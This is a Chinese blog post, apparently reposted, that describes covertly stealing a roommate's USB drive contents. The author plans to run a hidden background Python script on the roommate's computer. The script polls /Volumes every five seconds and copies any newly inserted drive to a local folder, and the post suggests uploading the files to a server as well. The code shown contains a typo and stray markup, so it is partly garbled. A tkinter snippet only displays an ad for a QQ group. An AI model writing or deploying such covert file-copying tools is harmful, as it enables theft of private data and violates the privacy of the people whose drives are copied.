几行行Python代码,盗取了室友的U盘内容
2019-07-29 14:15
375 查看
序言
那个猥琐的家伙整天把个U盘藏着当宝,到睡觉了就拿出来插到电脑上。
我决定想个办法看他U盘里都藏了什么,直接去抢U盘是不可能的,骗也是不可能的。那不是丢我Python程序员的脸?
我必须在电脑上智取,而且不能被他发现。
运行本段代码有惊喜
import tkinter as tk window = tk.Tk() c = b'\xe5\x8a\xa0\xe6\x89\xa3\xe6\x89\xa3\xe7\xbe\xa4:\xe5\x85\xab\xe4\xb9\x9d\xe4\xba\x94\xe4\xb8\x83\xe4\xb9\x9d\xe4\xb8\x83\xe4\xb8\x83\xe4\xba\x94\xe4\xb8\x80,\xe9\xa2\x86\xe5\x8f\x96Python\xe5\xad\xa6\xe4\xb9\xa0\xe8\xb5\x84\xe6\x96\x99,\xe4\xbb\xa5\xe5\x8f\x8a\xe6\x96\x87\xe7\xab\xa0\xe4\xbb\xa3\xe7\xa0\x81' labal = tk.Label( window, text=c.decode('utf-8'), bg='pink', font=('微软雅黑', 15), width=50, height=20, wraplength=300, ) labal.pack() window.mainloop()
我的思路:
当一个usb插入时,在后台自动把usb里的东西拷贝到本地或上传到某个服务器。
那么我就可以先借他电脑玩一会,然后把我写好的Python程序在电脑后台运行。每当有usb插入的时候,就自动拷贝文件。
如何判断U盘是否插入?
首先打开电脑终端,进入/Volumes目录,然后插入U盘,能够看到它被挂载在了这个目录之下,那么,如果我们随时扫描这个目录,当这个目录有新文件夹出现时,应该就是有U盘被插入了。
用time.sleep(5)函数,让程序保持运行状态,并且每隔秒扫描一下/Volumes/目录,一出现新的文件夹,立马拷贝到另外的文件夹
1# encoding=utf-8 2""" 3文件copy demo 4""" 5import os 6import shutil 7from time import sleep 8 9def copyCopy(usb_path): 10 # os.listdir(dir)返回dir下所有文件夹及文件的名称 11 usb_file = os.listdir(usb_path) 12 while True: 13 new_usb_file = os.lisdir(usb_path) 14 if new_usb_file != usb_file: 15 break 16 sleep(5) #每隔5s扫描一次 17 file = [f for f in new_usb_file if f not in usb_file] 18 shutil.copytree(os.path.join(usb_path, file[0]), '/home/work/copyCopy') 19 20if __name__ == "__main__": 21 usb_path < 3ff7 span class="token operator">= "/Volumes/" 22 copyCopy(usb_path)
能够看到U盘在插入大约30s后全部复制到home目录下了。
我只能说到这里了。。。
相关文章推荐
- 利用11行Python代码,盗取了室友的U盘内容
- 使用11行Python代码盗取了室友的U盘内容
- Python抓取网页内容应用代码分析
- 常用python日期、日志、获取内容循环的代码片段
- python 简易计算器程序,代码就几行
- 写在520卡片上的几行Python代码情书
- 人工智能几行代码实现换脸,python+dlib实现图文教程
- 人工智能几行代码实现换脸,python+dlib实现图文教程 4000
- Python几行代码,简单爬取豆瓣出版社信息,并保存输出txt文件
- 人工智能几行代码实现换脸,python+dlib实现图文教程
- Python几行代码打印出网卡的Mac地址
- python学习 三 01 再爬一个网站,几行代码,搞定分类类别
- 仅用几行Python代码就俘获女神的欢心,是什么代码这么神奇?
- 使用Python监控文件内容变化代码实例
- WiFi破解这个技术很普通!Python几行代码就可以做到!进来就学会
- python - web框架 - flask 代码中含有中文内容解决办法
- Python学习(2):复制Excel的文件名到此文件指定单元格里,并按文件内容行数写入,有几行写几行(文件需为excel)
- 人工智能几行代码实现换脸,python+dlib实现图文教程
- python 简易计算器程序,代码就几行
- Python代码前几行声明是什么